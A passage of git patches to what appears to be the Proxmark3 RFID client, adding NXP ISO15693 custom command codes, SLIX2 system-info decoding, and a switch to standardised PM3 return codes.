NULL, NULL, NULL} }; From 1b6566cd5c0afc30cbfd7e2d341b71ef74e0ab48 Mon Sep 17 00:00:00 2001 From: unknown Date: Fri, 22 Nov 2019 13:55:09 +0200 Subject: [PATCH 013/418] Added support for some ISO15693 custom NXP commands --- client/cmdhf15.c | 80 +++++++++++++++++++++++++----------------- client/cmdhflist.c | 72 +++++++++++++++++++++++++++++++++++++ common/iso15693tools.h | 54 ++++++++++++++++++++-------- include/protocols.h | 50 +++++++++++++++++++------- 4 files changed, 195 insertions(+), 61 deletions(-) diff --git a/client/cmdhf15.c b/client/cmdhf15.c index f6c298f63..883364607 100644 --- a/client/cmdhf15.c +++ b/client/cmdhf15.c @@ -85,10 +85,11 @@ const productName uidmapping[] = { //I-Code SLI-S [IC id = 02] //I-Code SLI-L [IC id = 03] //I-Code SLIX [IC id = 01 + bit36 set to 1 (starting from bit0 - different from normal SLI)] + //I-Code SLIX2 [IC id = 01 + bit35 set to 1 + bit36 set to 0] //I-Code SLIX-S [IC id = 02 + bit36 set to 1] //I-Code SLIX-L [IC id = 03 + bit36 set to 1] { 0xE004000000000000LL, 16, "NXP Semiconductors Germany (Philips)" }, - { 0xE004010000000000LL, 24, "NXP(Philips); IC SL2 ICS20/ICS21(SLI) ICS2002/ICS2102(SLIX)" }, + { 0xE004010000000000LL, 24, "NXP(Philips); IC SL2 ICS20/ICS21(SLI) ICS2002/ICS2102(SLIX) ICS2602(SLIX2)" }, { 0xE004020000000000LL, 24, "NXP(Philips); IC SL2 ICS53/ICS54(SLI-S) ICS5302/ICS5402(SLIX-S)" }, { 0xE004030000000000LL, 24, "NXP(Philips); IC SL2 ICS50/ICS51(SLI-L) ICS5002/ICS5102(SLIX-L)" }, @@ -237,7 +238,7 @@ static int getUID(uint8_t *buf) { } } // retry - return 0; + return PM3_SUCCESS; } // get a product description based on the UID @@ -297,12 +298,12 @@ static int CmdHF15Help(const char *Cmd); static int usage_15_demod(void) { PrintAndLogEx(NORMAL, "Tries to demodulate / decode ISO15693, from downloaded samples.\n" "Gather samples with 'hf 15 read' / 'hf 15 record'"); - return 0; + return PM3_SUCCESS; } static int usage_15_samples(void) { PrintAndLogEx(NORMAL, "Acquire samples as Reader (enables carrier, send inquiry\n" "and download it to graphbuffer. Try 'hf 15 demod' to try to demodulate/decode signal"); - return 0; + return PM3_SUCCESS; } static int usage_15_info(void) { PrintAndLogEx(NORMAL, "Uses the optional command 'get_systeminfo' 0x2B to try and extract information\n" @@ -318,11 +319,11 @@ static int usage_15_info(void) { "\t * scan for tag\n" "Examples:\n" "\thf 15 info u"); - return 0; + return PM3_SUCCESS; } static int usage_15_record(void) { - PrintAndLogEx(NORMAL, "Record activity without enableing carrier"); - return 0; + PrintAndLogEx(NORMAL, "Record activity without enabling carrier"); + return PM3_SUCCESS; } static int usage_15_reader(void) { PrintAndLogEx(NORMAL, "This command identifies a ISO 15693 tag\n" @@ -333,23 +334,25 @@ static int usage_15_reader(void) { "\n" "Example:\n" "\thf 15 reader"); - return 0; + return PM3_SUCCESS; } static int usage_15_sim(void) { PrintAndLogEx(NORMAL, "Usage: hf 15 sim \n" "\n" "Example:\n" "\thf 15 sim E016240000000000"); - return 0; + return PM3_SUCCESS; } static int usage_15_findafi(void) { - PrintAndLogEx(NORMAL, "'hf 15 finafi' This command needs a helptext. Feel free to add one!"); - return 0; + PrintAndLogEx(NORMAL, "This command attempts to brute force AFI of an ISO15693 tag\n" + "\n" + "Usage: hf 15 findafi"); + return PM3_SUCCESS; } static int usage_15_dump(void) { PrintAndLogEx(NORMAL, "This command dumps the contents of a ISO-15693 tag and save it to file\n" "\n" - "Usage: hf 15 dump [h] \n" + "Usage: hf 15 dump [h] \n" "Options:\n" "\th this help\n" "\tf filename, if no UID will be used as filename\n" @@ -357,7 +360,7 @@ static int usage_15_dump(void) { "Example:\n" "\thf 15 dump f\n" "\thf 15 dump f mydump"); - return 0; + return PM3_SUCCESS; } static int usage_15_restore(void) { const char *options[][2] = { @@ -371,7 +374,7 @@ static int usage_15_restore(void) { }; PrintAndLogEx(NORMAL, "Usage: hf 15 restore [-2] [-o] [h] [r ] [u ] [f ] [b ]"); PrintAndLogOptions(options, 7, 3); - return 0; + return PM3_SUCCESS; } static int usage_15_raw(void) { const char *options[][2] = { @@ -382,7 +385,7 @@ static int usage_15_raw(void) { }; PrintAndLogEx(NORMAL, "Usage: hf 15 raw [-r] [-2] [-c] <0A 0B 0C ... hex>\n"); PrintAndLogOptions(options, 4, 3); - return 0; + return PM3_SUCCESS; } static int usage_15_read(void) { PrintAndLogEx(NORMAL, "Usage: hf 15 read [options] \n" @@ -393,7 +396,7 @@ static int usage_15_read(void) { "\t u unaddressed mode\n" "\t * scan for tag\n" "\tpage#: page number 0-255"); - return 0; + return PM3_SUCCESS; } static int usage_15_write(void) { PrintAndLogEx(NORMAL, "Usage: hf 15 write [options] \n" @@ -406,7 +409,7 @@ static int usage_15_write(void) { "\t * scan for tag\n" "\tpage#: page number 0-255\n" "\thexdata: data to be written eg AA BB CC DD"); - return 0; + return PM3_SUCCESS; } static int usage_15_readmulti(void) { PrintAndLogEx(NORMAL, "Usage: hf 15 readmulti [options] \n" @@ -418,7 +421,7 @@ static int usage_15_readmulti(void) { "\t * scan for tag\n" "\tstart#: page number to start 0-255\n" "\tcount#: number of pages"); - return 0; + return PM3_SUCCESS; } static int usage_15_csetuid(void) { PrintAndLogEx(NORMAL, "Set UID for magic Chinese card (only works with such cards)\n" @@ -429,7 +432,7 @@ static int usage_15_csetuid(void) { "\n" "Example:\n" "\thf 15 csetuid E011223344556677"); - return 0; + return PM3_SUCCESS; } /** @@ -686,7 +689,7 @@ static int CmdHF15Info(const char *Cmd) { return 0; } -// Record Activity without enabeling carrier +// Record Activity without enabling carrier //helptext static int CmdHF15Record(const char *Cmd) { char cmdp = tolower(param_getchar(Cmd, 0)); @@ -724,8 +727,8 @@ static int CmdHF15Sim(const char *Cmd) { return 0; } -// finds the AFI (Application Family Idendifier) of a card, by trying all values -// (There is no standard way of reading the AFI, allthough some tags support this) +// finds the AFI (Application Family Identifier) of a card, by trying all values +// (There is no standard way of reading the AFI, although some tags support this) // helptext static int CmdHF15Afi(const char *Cmd) { char cmdp = tolower(param_getchar(Cmd, 0)); @@ -856,16 +859,26 @@ static int CmdHF15Dump(const char *Cmd) { size_t datalen = blocknum * 4; saveFileEML(filename, data, datalen, 4); saveFile(filename, ".bin", data, datalen); - return 0; + return PM3_SUCCESS; } static int CmdHF15List(const char *Cmd) { (void)Cmd; // Cmd is not used so far //PrintAndLogEx(WARNING, "Deprecated command, use 'hf list 15' instead"); CmdTraceList("15"); - return 0; + return PM3_SUCCESS; } +/* +// Record Activity without enabling carrier +static int CmdHF15Sniff(const char *Cmd) +{ + clearCommandBuffer(); + SendCommandNG(CMD_HF_ISO15693_SNIFF, NULL, 0); + return PM3_SUCCESS; +} +*/ + static int CmdHF15Raw(const char *Cmd) { char cmdp = param_getchar(Cmd, 0); @@ -939,7 +952,7 @@ static int CmdHF15Raw(const char *Cmd) { PrintAndLogEx(WARNING, "timeout while waiting for reply."); } } - return 0; + return PM3_SUCCESS; } /** @@ -1020,7 +1033,7 @@ static int CmdHF15Readmulti(const char *Cmd) { currblock++; } - return 0; + return PM3_SUCCESS; } /** @@ -1092,7 +1105,7 @@ static int CmdHF15Read(const char *Cmd) { PrintAndLogEx(NORMAL, "------------+---+------"); PrintAndLogEx(NORMAL, "%s| %d | %s", sprint_hex(recv + 2, status - 4), recv[1], sprint_ascii(recv + 2, status - 4)); PrintAndLogEx(NORMAL, ""); - return 0; + return PM3_SUCCESS; } /** @@ -1170,7 +1183,7 @@ static int CmdHF15Write(const char *Cmd) { } PrintAndLogEx(NORMAL, "OK"); - return 0; + return PM3_SUCCESS; } static int CmdHF15Restore(const char *Cmd) { @@ -1257,7 +1270,7 @@ static int CmdHF15Restore(const char *Cmd) { if (bytes_read == 0) { PrintAndLogEx(SUCCESS, "File reading done `%s`", filename); fclose(f); - return 0; + return PM3_SUCCESS; } else if (bytes_read != blocksize) { PrintAndLogEx(ERR, "File reading error (%s), %zu bytes read instead of %zu bytes.", filename, bytes_read, blocksize); fclose(f); @@ -1290,7 +1303,7 @@ static int CmdHF15Restore(const char *Cmd) { } fclose(f); PrintAndLogEx(INFO, "Finish restore"); - return 0; + return PM3_SUCCESS; } /** @@ -1396,7 +1409,8 @@ static command_t CommandTable[] = { {"dump", CmdHF15Dump, IfPm3Iso15693, "Read all memory pages of an ISO15693 tag, save to file"}, {"findafi", CmdHF15Afi, IfPm3Iso15693, "Brute force AFI of an ISO15693 tag"}, {"info", CmdHF15Info, IfPm3Iso15693, "Tag information"}, - {"list", CmdHF15List, AlwaysAvailable, "List ISO15693 history"}, +// {"sniff", CmdHF15Sniff, IfPm3Iso15693, "Sniff ISO15693 traffic"}, + {"list", CmdHF15List, AlwaysAvailable, "List ISO15693 history"}, {"raw", CmdHF15Raw, IfPm3Iso15693, "Send raw hex data to tag"}, {"reader", CmdHF15Reader, IfPm3Iso15693, "Act like an ISO15693 reader"}, {"record", CmdHF15Record, IfPm3Iso15693, "Record Samples (ISO15693)"}, @@ -1406,14 +1420,14 @@ static command_t CommandTable[] = { {"read", CmdHF15Read, IfPm3Iso15693, "Read a block"}, {"write", CmdHF15Write, IfPm3Iso15693, "Write a block"}, {"readmulti", CmdHF15Readmulti, IfPm3Iso15693, "Reads multiple Blocks"}, - {"csetuid", CmdHF15CSetUID, IfPm3Iso15693, "Set UID for magic Chinese card"}, + {"csetuid", CmdHF15CSetUID, IfPm3Iso15693, "Set UID for magic Chinese card"}, {NULL, NULL, NULL, NULL} }; static int CmdHF15Help(const char *Cmd) { (void)Cmd; // Cmd is not used so far CmdsHelp(CommandTable); - return 0; + return PM3_SUCCESS; } int CmdHF15(const char *Cmd) { diff --git a/client/cmdhflist.c b/client/cmdhflist.c index 71ae81926..9f1d9ce23 100644 --- a/client/cmdhflist.c +++ b/client/cmdhflist.c @@ -428,6 +428,78 @@ void annotateIso15693(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) { case ISO15693_READ_MULTI_SECSTATUS: snprintf(exp, size, "READ_MULTI_SECSTATUS"); return; + case ISO15693_INVENTORY_READ: + snprintf(exp, size, "INVENTORY_READ"); + return; + case ISO15693_FAST_INVENTORY_READ: + snprintf(exp, size, "FAST_INVENTORY_READ"); + return; + case ISO15693_SET_EAS: + snprintf(exp, size, "SET_EAS"); + return; + case ISO15693_RESET_EAS: + snprintf(exp, size, "RESET_EAS"); + return; + case ISO15693_LOCK_EAS: + snprintf(exp, size, "LOCK_EAS"); + return; + case ISO15693_EAS_ALARM: + snprintf(exp, size, "EAS_ALARM"); + return; + case ISO15693_PASSWORD_PROTECT_EAS: + snprintf(exp, size, "PASSWORD_PROTECT_EAS"); + return; + case ISO15693_WRITE_EAS_ID: + snprintf(exp, size, "WRITE_EAS_ID"); + return; + case ISO15693_READ_EPC: + snprintf(exp, size, "READ_EPC"); + return; + case ISO15693_GET_NXP_SYSTEM_INFO: + snprintf(exp, size, "GET_NXP_SYSTEM_INFO"); + return; + case ISO15693_INVENTORY_PAGE_READ: + snprintf(exp, size, "INVENTORY_PAGE_READ"); + return; + case ISO15693_FAST_INVENTORY_PAGE_READ: + snprintf(exp, size, "FAST_INVENTORY_PAGE_READ"); + return; + case ISO15693_GET_RANDOM_NUMBER: + snprintf(exp, size, "GET_RANDOM_NUMBER"); + return; + case ISO15693_SET_PASSWORD: + snprintf(exp, size, "SET_PASSWORD"); + return; + case ISO15693_WRITE_PASSWORD: + snprintf(exp, size, "WRITE_PASSWORD"); + return; + case ISO15693_LOCK_PASSWORD: + snprintf(exp, size, "LOCK_PASSWORD"); + return; + case ISO15693_PROTECT_PAGE: + snprintf(exp, size, "PROTECT_PAGE"); + return; + case ISO15693_LOCK_PAGE_PROTECTION: + snprintf(exp, size, "LOCK_PAGE_PROTECTION"); + return; + case ISO15693_GET_MULTI_BLOCK_PROTECTION: + snprintf(exp, size, "GET_MULTI_BLOCK_PROTECTION"); + return; + case ISO15693_DESTROY: + snprintf(exp, size, "DESTROY"); + return; + case ISO15693_ENABLE_PRIVACY: + snprintf(exp, size, "ENABLE_PRIVACY"); + return; + case ISO15693_64BIT_PASSWORD_PROTECTION: + snprintf(exp, size, "64BIT_PASSWORD_PROTECTION"); + return; + case ISO15693_STAYQUIET_PERSISTENT: + snprintf(exp, size, "STAYQUIET_PERSISTENT"); + return; + case ISO15693_READ_SIGNATURE: + snprintf(exp, size, "READ_SIGNATURE"); + return; default: break; } diff --git a/common/iso15693tools.h b/common/iso15693tools.h index 42b2152cc..62ad85499 100644 --- a/common/iso15693tools.h +++ b/common/iso15693tools.h @@ -51,21 +51,45 @@ #define ISO15_ERROR_BLOCL_WRITELOCK 0x14 // Locking was unsuccessful // COMMAND CODES -#define ISO15_CMD_INVENTORY 0x01 -#define ISO15_CMD_STAYQUIET 0x02 -#define ISO15_CMD_READ 0x20 -#define ISO15_CMD_WRITE 0x21 -#define ISO15_CMD_LOCK 0x22 -#define ISO15_CMD_READMULTI 0x23 -#define ISO15_CMD_WRITEMULTI 0x24 -#define ISO15_CMD_SELECT 0x25 -#define ISO15_CMD_RESET 0x26 -#define ISO15_CMD_WRITEAFI 0x27 -#define ISO15_CMD_LOCKAFI 0x28 -#define ISO15_CMD_WRITEDSFID 0x29 -#define ISO15_CMD_LOCKDSFID 0x2A -#define ISO15_CMD_SYSINFO 0x2B -#define ISO15_CMD_SECSTATUS 0x2C +#define ISO15_CMD_INVENTORY 0x01 +#define ISO15_CMD_STAYQUIET 0x02 +#define ISO15_CMD_READ 0x20 +#define ISO15_CMD_WRITE 0x21 +#define ISO15_CMD_LOCK 0x22 +#define ISO15_CMD_READMULTI 0x23 +#define ISO15_CMD_WRITEMULTI 0x24 +#define ISO15_CMD_SELECT 0x25 +#define ISO15_CMD_RESET 0x26 +#define ISO15_CMD_WRITEAFI 0x27 +#define ISO15_CMD_LOCKAFI 0x28 +#define ISO15_CMD_WRITEDSFID 0x29 +#define ISO15_CMD_LOCKDSFID 0x2A +#define ISO15_CMD_SYSINFO 0x2B +#define ISO15_CMD_SECSTATUS 0x2C +#define ISO15_CMD_INVENTORYREAD 0xA0 +#define ISO15_CMD_FASTINVENTORYREAD 0xA1 +#define ISO15_CMD_SETEAS 0xA2 +#define ISO15_CMD_RESETEAS 0xA3 +#define ISO15_CMD_LOCKEAS 0xA4 +#define ISO15_CMD_EASALARM 0xA5 +#define ISO15_CMD_PASSWORDPROTECTEAS 0xA6 +#define ISO15_CMD_WRITEEASID 0xA7 +#define ISO15_CMD_READEPC 0xA8 +#define ISO15_CMD_GETNXPSYSTEMINFO 0xAB +#define ISO15_CMD_INVENTORYPAGEREAD 0xB0 +#define ISO15_CMD_FASTINVENTORYPAGEREAD 0xB1 +#define ISO15_CMD_GETRANDOMNUMBER 0xB2 +#define ISO15_CMD_SETPASSWORD 0xB3 +#define ISO15_CMD_WRITEPASSWORD 0xB4 +#define ISO15_CMD_LOCKPASSWORD 0xB5 +#define ISO15_CMD_PROTECTPAGE 0xB6 +#define ISO15_CMD_LOCKPAGEPROTECTION 0xB7 +#define ISO15_CMD_GETMULTIBLOCKPROTECTION 0xB8 +#define ISO15_CMD_DESTROY 0xB9 +#define ISO15_CMD_ENABLEPRIVACY 0xBA +#define ISO15_CMD_64BITPASSWORDPROTECTION 0xBB +#define ISO15_CMD_STAYQUIETPERSISTENT 0xBC +#define ISO15_CMD_READSIGNATURE 0xBD //----------------------------------------------------------------------------- // Map a sequence of octets (~layer 2 command) into the set of bits to feed diff --git a/include/protocols.h b/include/protocols.h index 2547f01de..8018ae62e 100644 --- a/include/protocols.h +++ b/include/protocols.h @@ -239,19 +239,43 @@ ISO 7816-4 Basic interindustry commands. For command APDU's. #define ISO15693_INVENTORY 0x01 #define ISO15693_STAYQUIET 0x02 //First byte is 02 -#define ISO15693_READBLOCK 0x20 -#define ISO15693_WRITEBLOCK 0x21 -#define ISO15693_LOCKBLOCK 0x22 -#define ISO15693_READ_MULTI_BLOCK 0x23 -#define ISO15693_SELECT 0x25 -#define ISO15693_RESET_TO_READY 0x26 -#define ISO15693_WRITE_AFI 0x27 -#define ISO15693_LOCK_AFI 0x28 -#define ISO15693_WRITE_DSFID 0x29 -#define ISO15693_LOCK_DSFID 0x2A -#define ISO15693_GET_SYSTEM_INFO 0x2B -#define ISO15693_READ_MULTI_SECSTATUS 0x2C - +#define ISO15693_READBLOCK 0x20 +#define ISO15693_WRITEBLOCK 0x21 +#define ISO15693_LOCKBLOCK 0x22 +#define ISO15693_READ_MULTI_BLOCK 0x23 +#define ISO15693_SELECT 0x25 +#define ISO15693_RESET_TO_READY 0x26 +#define ISO15693_WRITE_AFI 0x27 +#define ISO15693_LOCK_AFI 0x28 +#define ISO15693_WRITE_DSFID 0x29 +#define ISO15693_LOCK_DSFID 0x2A +#define ISO15693_GET_SYSTEM_INFO 0x2B +#define ISO15693_READ_MULTI_SECSTATUS 0x2C +// NXP/Philips custom commands +#define ISO15693_INVENTORY_READ 0xA0 +#define ISO15693_FAST_INVENTORY_READ 0xA1 +#define ISO15693_SET_EAS 0xA2 +#define ISO15693_RESET_EAS 0xA3 +#define ISO15693_LOCK_EAS 0xA4 +#define ISO15693_EAS_ALARM 0xA5 +#define ISO15693_PASSWORD_PROTECT_EAS 0xA6 +#define ISO15693_WRITE_EAS_ID 0xA7 +#define ISO15693_READ_EPC 0xA8 +#define ISO15693_GET_NXP_SYSTEM_INFO 0xAB +#define ISO15693_INVENTORY_PAGE_READ 0xB0 +#define ISO15693_FAST_INVENTORY_PAGE_READ 0xB1 +#define ISO15693_GET_RANDOM_NUMBER 0xB2 +#define ISO15693_SET_PASSWORD 0xB3 +#define ISO15693_WRITE_PASSWORD 0xB4 +#define ISO15693_LOCK_PASSWORD 0xB5 +#define ISO15693_PROTECT_PAGE 0xB6 +#define ISO15693_LOCK_PAGE_PROTECTION 0xB7 +#define ISO15693_GET_MULTI_BLOCK_PROTECTION 0xB8 +#define ISO15693_DESTROY 0xB9 +#define ISO15693_ENABLE_PRIVACY 0xBA +#define ISO15693_64BIT_PASSWORD_PROTECTION 0xBB +#define ISO15693_STAYQUIET_PERSISTENT 0xBC +#define ISO15693_READ_SIGNATURE 0xBD // Topaz command set: #define TOPAZ_REQA 0x26 // Request From ef19979c34bdd89edbfeec222a8daad914f28fc0 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 24 Nov 2019 19:27:08 +0100 Subject: [PATCH 014/418] chg: hf 14b write - adding colors --- client/cmdhf14b.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/client/cmdhf14b.c b/client/cmdhf14b.c index ba8db1f92..d02d563f4 100644 --- a/client/cmdhf14b.c +++ b/client/cmdhf14b.c @@ -808,13 +808,13 @@ static int CmdHF14BWriteSri(const char *Cmd) { } if (blockno == 0xff) { - PrintAndLogEx(SUCCESS, "[%s] Write special block %02X [ %s ]", + PrintAndLogEx(SUCCESS, "[%s] Write special block %02X [ " _YELLOW_("%s")" ]", (isSrix4k) ? "SRIX4K" : "SRI512", blockno, sprint_hex(data, 4) ); } else { - PrintAndLogEx(SUCCESS, "[%s] Write block %02X [ %s ]", + PrintAndLogEx(SUCCESS, "[%s] Write block %02X [ " _YELLOW_("%s")" ]", (isSrix4k) ? "SRIX4K" : "SRI512", blockno, sprint_hex(data, 4) From 13c16e9af75311db8b6424de4bdcb1c89d809f12 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 24 Nov 2019 21:14:27 +0100 Subject: [PATCH 015/418] return codes --- client/cmdtrace.c | 37 +++++++++++++++++++++---------------- 1 file changed, 21 insertions(+), 16 deletions(-) diff --git a/client/cmdtrace.c b/client/cmdtrace.c index 67f15be59..7e9b53548 100644 --- a/client/cmdtrace.c +++ b/client/cmdtrace.c @@ -50,21 +50,21 @@ static int usage_trace_list() { PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " trace list 14a f"); PrintAndLogEx(NORMAL, " trace list iclass"); - return 0; + return PM3_SUCCESS; } static int usage_trace_load() { PrintAndLogEx(NORMAL, "Load protocol data from file to trace buffer."); PrintAndLogEx(NORMAL, "Usage: trace load "); PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " trace load mytracefile.bin"); - return 0; + return PM3_SUCCESS; } static int usage_trace_save() { PrintAndLogEx(NORMAL, "Save protocol data from trace buffer to file."); PrintAndLogEx(NORMAL, "Usage: trace save "); PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " trace save mytracefile.bin"); - return 0; + return PM3_SUCCESS; } static bool is_last_record(uint16_t tracepos, uint8_t *trace, uint16_t traceLen) { @@ -450,7 +450,7 @@ static int CmdTraceLoad(const char *Cmd) { if ((f = fopen(filename, "rb")) == NULL) { PrintAndLogEx(FAILED, "Could not open file " _YELLOW_("%s"), filename); - return 0; + return PM3_EIO; } // get filesize in order to malloc memory @@ -461,12 +461,12 @@ static int CmdTraceLoad(const char *Cmd) { if (fsize < 0) { PrintAndLogEx(FAILED, "error, when getting filesize"); fclose(f); - return 3; + return PM3_EIO; } if (fsize < 4) { PrintAndLogEx(FAILED, "error, file is too small"); fclose(f); - return 4; + return PM3_ESOFT; } if (trace) @@ -476,21 +476,21 @@ static int CmdTraceLoad(const char *Cmd) { if (!trace) { PrintAndLogEx(FAILED, "Cannot allocate memory for trace"); fclose(f); - return 2; + return PM3_EMALLOC; } size_t bytes_read = fread(trace, 1, fsize, f); traceLen = bytes_read; fclose(f); PrintAndLogEx(SUCCESS, "Recorded Activity (TraceLen = %lu bytes) loaded from file %s", traceLen, filename); - return 0; + return PM3_SUCCESS; } static int CmdTraceSave(const char *Cmd) { if (traceLen == 0) { PrintAndLogEx(WARNING, "trace is empty, nothing to save"); - return 0; + return PM3_SUCCESS; } char filename[FILE_PATH_SIZE]; @@ -499,7 +499,7 @@ static int CmdTraceSave(const char *Cmd) { param_getstr(Cmd, 0, filename, sizeof(filename)); saveFile(filename, ".bin", trace, traceLen); - return 0; + return PM3_SUCCESS; } static command_t CommandTable[] = { @@ -513,7 +513,7 @@ static command_t CommandTable[] = { static int CmdHelp(const char *Cmd) { (void)Cmd; // Cmd is not used so far CmdsHelp(CommandTable); - return 0; + return PM3_SUCCESS; } int CmdTrace(const char *Cmd) { @@ -604,15 +604,20 @@ int CmdTraceList(const char *Cmd) { uint16_t tracepos = 0; // reserv some space. - if (!trace) + if (!trace) { trace = calloc(PM3_CMD_DATA_SIZE, sizeof(uint8_t)); + if (trace == NULL) { + PrintAndLogEx(FAILED, "Cannot allocate memory for trace"); + return PM3_EMALLOC; + } + } if (isOnline) { // Query for the size of the trace, downloading PM3_CMD_DATA_SIZE PacketResponseNG response; if (!GetFromDevice(BIG_BUF, trace, PM3_CMD_DATA_SIZE, 0, NULL, 0, &response, 4000, true)) { PrintAndLogEx(WARNING, "timeout while waiting for reply."); - return 1; + return PM3_ETIMEOUT; } traceLen = response.oldarg[2]; @@ -621,13 +626,13 @@ int CmdTraceList(const char *Cmd) { if (p == NULL) { PrintAndLogEx(FAILED, "Cannot allocate memory for trace"); free(trace); - return 2; + return PM3_EMALLOC; } trace = p; if (!GetFromDevice(BIG_BUF, trace, traceLen, 0, NULL, 0, NULL, 2500, false)) { PrintAndLogEx(WARNING, "command execution time out"); free(trace); - return 3; + return PM3_ETIMEOUT; } } } @@ -678,6 +683,6 @@ int CmdTraceList(const char *Cmd) { break; } } - return 0; + return PM3_SUCCESS; } From 16e4cf96796944d4dfc7b1a9de89cb6a7362ec6c Mon Sep 17 00:00:00 2001 From: unknown Date: Mon, 25 Nov 2019 20:53:06 +0200 Subject: [PATCH 016/418] Add ISO15693 write AFI/DSFID commands and NXP Sysinfo for Slix2 --- client/cmdhf15.c | 334 ++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 327 insertions(+), 7 deletions(-) diff --git a/client/cmdhf15.c b/client/cmdhf15.c index 883364607..52756215b 100644 --- a/client/cmdhf15.c +++ b/client/cmdhf15.c @@ -31,6 +31,7 @@ #include "comms.h" // clearCommandBuffer #include "cmdtrace.h" #include "iso15693tools.h" +#include "crypto/libpcrypto.h" #include "graph.h" #include "crc16.h" // iso15 crc @@ -207,6 +208,16 @@ const productName uidmapping[] = { { 0, 0, "no tag-info available" } // must be the last entry }; +uint8_t nxp_public_keys[][33] = { + // ICODE SLIX2 / DNA + { + 0x04, 0x88, 0x78, 0xA2, 0xA2, 0xD3, 0xEE, 0xC3, + 0x36, 0xB4, 0xF2, 0x61, 0xA0, 0x82, 0xBD, 0x71, + 0xF9, 0xBE, 0x11, 0xC4, 0xE2, 0xE8, 0x96, 0x64, + 0x8B, 0x32, 0xEF, 0xA5, 0x9C, 0xEA, 0x6E, 0x59, 0xF0 + }, +}; + // fast method to just read the UID of a tag (collission detection not supported) // *buf should be large enough to fit the 64bit uid // returns 1 if suceeded @@ -349,6 +360,24 @@ static int usage_15_findafi(void) { "Usage: hf 15 findafi"); return PM3_SUCCESS; } +static int usage_15_writeafi(void) { + PrintAndLogEx(NORMAL, "Usage: hf 15 writeafi \n" + "\tuid (either): \n" + "\t <8B hex> full UID eg E011223344556677\n" + "\t u unaddressed mode\n" + "\t * scan for tag\n" + "\tafi#: AFI number 0-255"); + return PM3_SUCCESS; +} +static int usage_15_writedsfid(void) { + PrintAndLogEx(NORMAL, "Usage: hf 15 writedsfid \n" + "\tuid (either): \n" + "\t <8B hex> full UID eg E011223344556677\n" + "\t u unaddressed mode\n" + "\t * scan for tag\n" + "\tdsfid#: DSFID number 0-255"); + return PM3_SUCCESS; +} static int usage_15_dump(void) { PrintAndLogEx(NORMAL, "This command dumps the contents of a ISO-15693 tag and save it to file\n" "\n" @@ -605,6 +634,174 @@ static int CmdHF15Samples(const char *Cmd) { return 0; } +// Get NXP system information from SLIX2 tag/VICC +static int NxpSysInfo(uint8_t *uid) { + PacketResponseNG resp; + uint8_t *recv; + uint8_t req[PM3_CMD_DATA_SIZE] = {0}; + uint16_t reqlen; + uint8_t arg1 = 1; + + if (uid != NULL) { + reqlen = 0; + req[reqlen++] |= ISO15_REQ_SUBCARRIER_SINGLE | ISO15_REQ_DATARATE_HIGH | ISO15_REQ_NONINVENTORY | ISO15_REQ_ADDRESS; + req[reqlen++] = ISO15_CMD_GETNXPSYSTEMINFO; + req[reqlen++] = 0x04; // IC manufacturer code + memcpy(req + 3, uid, 8); // add UID + reqlen += 8; + + AddCrc15(req, reqlen); + reqlen += 2; + + //PrintAndLogEx(NORMAL, "cmd %s", sprint_hex(req, reqlen) ); + + clearCommandBuffer(); + SendCommandOLD(CMD_HF_ISO15693_COMMAND, reqlen, arg1, 1, req, reqlen); + + if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { + PrintAndLogEx(WARNING, "iso15693 card select failed"); + return 1; + } + + uint32_t status = resp.oldarg[0]; + + if (status < 2) { + PrintAndLogEx(WARNING, "iso15693 card doesn't answer to NXP systeminfo command"); + return 1; + } + + recv = resp.data.asBytes; + + if (recv[0] & ISO15_RES_ERROR) { + PrintAndLogEx(ERR, "iso15693 card returned error %i: %s", recv[0], TagErrorStr(recv[0])); + return 3; + } + + bool signature = false; + bool easmode = false; + + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, " NXP SYSINFO : %s", sprint_hex(recv, 8)); + PrintAndLogEx(NORMAL, " Password protection configuration:"); + PrintAndLogEx(NORMAL, " * Page L read%s password protected", (recv[2] & 0x01 ? "" : " not")); + PrintAndLogEx(NORMAL, " * Page L write%s password protected", (recv[2] & 0x02 ? "" : " not")); + PrintAndLogEx(NORMAL, " * Page H read%s password protected", (recv[2] & 0x08 ? "" : " not")); + PrintAndLogEx(NORMAL, " * Page H write%s password protected", (recv[2] & 0x20 ? "" : " not")); + + PrintAndLogEx(NORMAL, " Lock bits:"); + PrintAndLogEx(NORMAL, " * AFI%s locked", (recv[3] & 0x01 ? "" : " not")); // AFI lock bit + PrintAndLogEx(NORMAL, " * EAS%s locked", (recv[3] & 0x02 ? "" : " not")); // EAS lock bit + PrintAndLogEx(NORMAL, " * DSFID%s locked", (recv[3] & 0x03 ? "" : " not")); // DSFID lock bit + PrintAndLogEx(NORMAL, " * Password protection configuration%s locked", (recv[3] & 0x04 ? "" : " not")); // Password protection pointer address and access conditions lock bit + + PrintAndLogEx(NORMAL, " Features:"); + PrintAndLogEx(NORMAL, " * User memory password protection%s supported", (recv[4] & 0x01 ? "" : " not")); + PrintAndLogEx(NORMAL, " * Counter feature%s supported", (recv[4] & 0x02 ? "" : " not")); + PrintAndLogEx(NORMAL, " * EAS ID%s supported by EAS ALARM command", (recv[4] & 0x03 ? "" : " not")); + easmode = (recv[4] & 0x03 ? true : false); + PrintAndLogEx(NORMAL, " * EAS password protection%s supported", (recv[4] & 0x04 ? "" : " not")); + PrintAndLogEx(NORMAL, " * AFI password protection%s supported", (recv[4] & 0x10 ? "" : " not")); + PrintAndLogEx(NORMAL, " * Extended mode%s supported by INVENTORY READ command", (recv[4] & 0x20 ? "" : " not")); + PrintAndLogEx(NORMAL, " * EAS selection%s supported by extended mode in INVENTORY READ command", (recv[4] & 0x40 ? "" : " not")); + PrintAndLogEx(NORMAL, " * READ SIGNATURE command%s supported", (recv[5] & 0x01 ? "" : " not")); + signature = (recv[5] & 0x01 ? true : false); + PrintAndLogEx(NORMAL, " * Password protection for READ SIGNATURE command%s supported", (recv[5] & 0x02 ? "" : " not")); + PrintAndLogEx(NORMAL, " * STAY QUIET PERSISTENT command%s supported", (recv[5] & 0x03 ? "" : " not")); + 